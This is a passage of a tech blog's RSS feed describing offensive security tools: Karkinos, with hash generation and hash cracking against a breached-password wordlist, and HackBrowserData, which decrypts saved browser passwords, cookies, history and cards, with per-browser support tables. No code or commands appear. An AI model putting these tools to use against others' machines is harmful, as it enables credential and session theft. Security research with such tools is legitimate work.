<div class="fluid-width-video-wrapper"><iframe src="https://www.youtube.com/embed/FybH4s_FyNA" name="fitvid2" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<h2><strong>Generating Hashes</strong></h2>
<p>Karkinos can generate commonly used hashes such as:</p>
<ul>
<li>MD5</li>
<li>SHA1</li>
<li>SHA256</li>
<li>SHA512</li>
</ul>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/convert.png"><img loading="lazy" decoding="async" class="alignnone wp-image-192706" src="https://hakin9.org/wp-content/uploads/2020/12/convert.png" sizes="auto, (max-width: 882px) 100vw, 882px" srcset="https://hakin9.org/wp-content/uploads/2020/12/convert.png 1446w, https://hakin9.org/wp-content/uploads/2020/12/convert-378x221.png 378w, https://hakin9.org/wp-content/uploads/2020/12/convert-565x330.png 565w, https://hakin9.org/wp-content/uploads/2020/12/convert-460x269.png 460w, https://hakin9.org/wp-content/uploads/2020/12/convert-1024x598.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/convert-768x449.png 768w, https://hakin9.org/wp-content/uploads/2020/12/convert-500x292.png 500w, https://hakin9.org/wp-content/uploads/2020/12/convert-200x117.png 200w, https://hakin9.org/wp-content/uploads/2020/12/convert-120x70.png 120w, https://hakin9.org/wp-content/uploads/2020/12/convert-310x181.png 310w" alt="" width="882" height="515" /></a></p>
<h2><strong>Cracking Hashes</strong></h2>
<p>Karkinos offers the option to <strong>simultaneously</strong> crack hashes using a built-in wordlist consisting of over 15 million common and breached passwords. This list can easily be modified and/or completely replaced.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/crack.png"><img loading="lazy" decoding="async" class="alignnone wp-image-192728" src="https://hakin9.org/wp-content/uploads/2020/12/crack.png" sizes="auto, (max-width: 902px) 100vw, 902px" srcset="https://hakin9.org/wp-content/uploads/2020/12/crack.png 1449w, https://hakin9.org/wp-content/uploads/2020/12/crack-378x237.png 378w, https://hakin9.org/wp-content/uploads/2020/12/crack-565x354.png 565w, https://hakin9.org/wp-content/uploads/2020/12/crack-460x288.png 460w, https://hakin9.org/wp-content/uploads/2020/12/crack-1024x641.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/crack-768x481.png 768w, https://hakin9.org/wp-content/uploads/2020/12/crack-500x313.png 500w, https://hakin9.org/wp-content/uploads/2020/12/crack-200x125.png 200w, https://hakin9.org/wp-content/uploads/2020/12/crack-120x75.png 120w, https://hakin9.org/wp-content/uploads/2020/12/crack-310x194.png 310w" alt="" width="902" height="565" /></a></p>
<p>The post <a href="http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/">Karkinos &#8211; Penetration Testing and Hacking CTF&#8217;s Swiss Army Knife</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>HackBrowserData &#8211; Decrypt passwords/cookies/history/bookmarks from the browser</title>
		<link>http://kostacipo.stream/hackbrowserdata-decrypt-passwords-cookies-history-bookmarks-from-the-browser/</link>
					<comments>http://kostacipo.stream/hackbrowserdata-decrypt-passwords-cookies-history-bookmarks-from-the-browser/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Wed, 06 Apr 2022 11:19:02 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[The Web]]></category>
		<category><![CDATA[passwords]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2132</guid>

					<description><![CDATA[<p>HackBrowserData is an open-source tool that could help you decrypt data (password&#124;bookmark&#124;cookie&#124;history&#124;credit card&#124;downloads link) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux. Disclaimer: This tool is limited to security research only, and the user assumes all legal and related responsibilities arising from its use! [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/hackbrowserdata-decrypt-passwords-cookies-history-bookmarks-from-the-browser/">HackBrowserData &#8211; Decrypt passwords/cookies/history/bookmarks from the browser</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p dir="auto"><code>HackBrowserData</code> is an open-source tool that could help you decrypt data (password|bookmark|cookie|history|credit card|downloads link) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux.</p>
<blockquote>
<p dir="auto">Disclaimer: This tool is limited to security research only, and the user assumes all legal and related responsibilities arising from its use! The author assumes no legal responsibility!</p>
</blockquote>
<p><a href="https://github.com/moonD4rk/HackBrowserData" target="_blank" rel="nofollow noopener">https://github.com/moonD4rk/HackBrowserData</a></p>
<h2 dir="auto">Supported Browser</h2>
<h3 dir="auto"><a id="user-content-windows" class="anchor" href="https://github.com/moonD4rk/HackBrowserData#windows" target="_blank" rel="nofollow noopener" aria-hidden="true"></a>Windows</h3>
<table border="1">
<thead>
<tr>
<th align="left"><strong>Browser</strong></th>
<th align="center"><strong>Password</strong></th>
<th align="center"><strong>Cookie</strong></th>
<th align="center"><strong>Bookmark</strong></th>
<th align="center"><strong>History</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Google Chrome</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Google Chrome Beta</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Chromium</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Microsoft Edge</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">360 Speed</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">QQ</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Brave</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Opera</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">OperaGX</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Vivaldi</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Yandex</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">CocCoc</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Beta</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Dev</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox ESR</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Nightly</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Internet Explorer</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
</tbody>
</table>
<h2 dir="auto"><a id="user-content-macos" class="anchor" href="https://github.com/moonD4rk/HackBrowserData#macos" target="_blank" rel="nofollow noopener" aria-hidden="true"></a><strong>MacOS</strong></h2>
<p dir="auto">Based on Apple&#8217;s security policy, some browsers <strong>require a current user password</strong> to decrypt.</p>
<table border="1">
<thead>
<tr>
<th align="left"><strong>Browser</strong></th>
<th align="center"><strong>Password</strong></th>
<th align="center"><strong>Cookie</strong></th>
<th align="center"><strong>Bookmark</strong></th>
<th align="center"><strong>History</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Google Chrome</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Google Chrome Beta</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Chromium</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Microsoft Edge</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Brave</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Opera</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">OperaGX</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Vivaldi</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Yandex</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">CocCoc</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Beta</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Dev</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox ESR</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Nightly</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Safari</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
</tbody>
</table>
<h2 dir="auto"><a id="user-content-linux" class="anchor" href="https://github.com/moonD4rk/HackBrowserData#linux" target="_blank" rel="nofollow noopener" aria-hidden="true"></a><strong>Linux</strong></h2>
<table border="1">
<thead>
<tr>
<th align="left">Browser</th>
<th align="center">Password</th>
<th align="center">Cookie</th>
<th align="center">Bookmark</th>
<th align="center">History</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Google Chrome</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
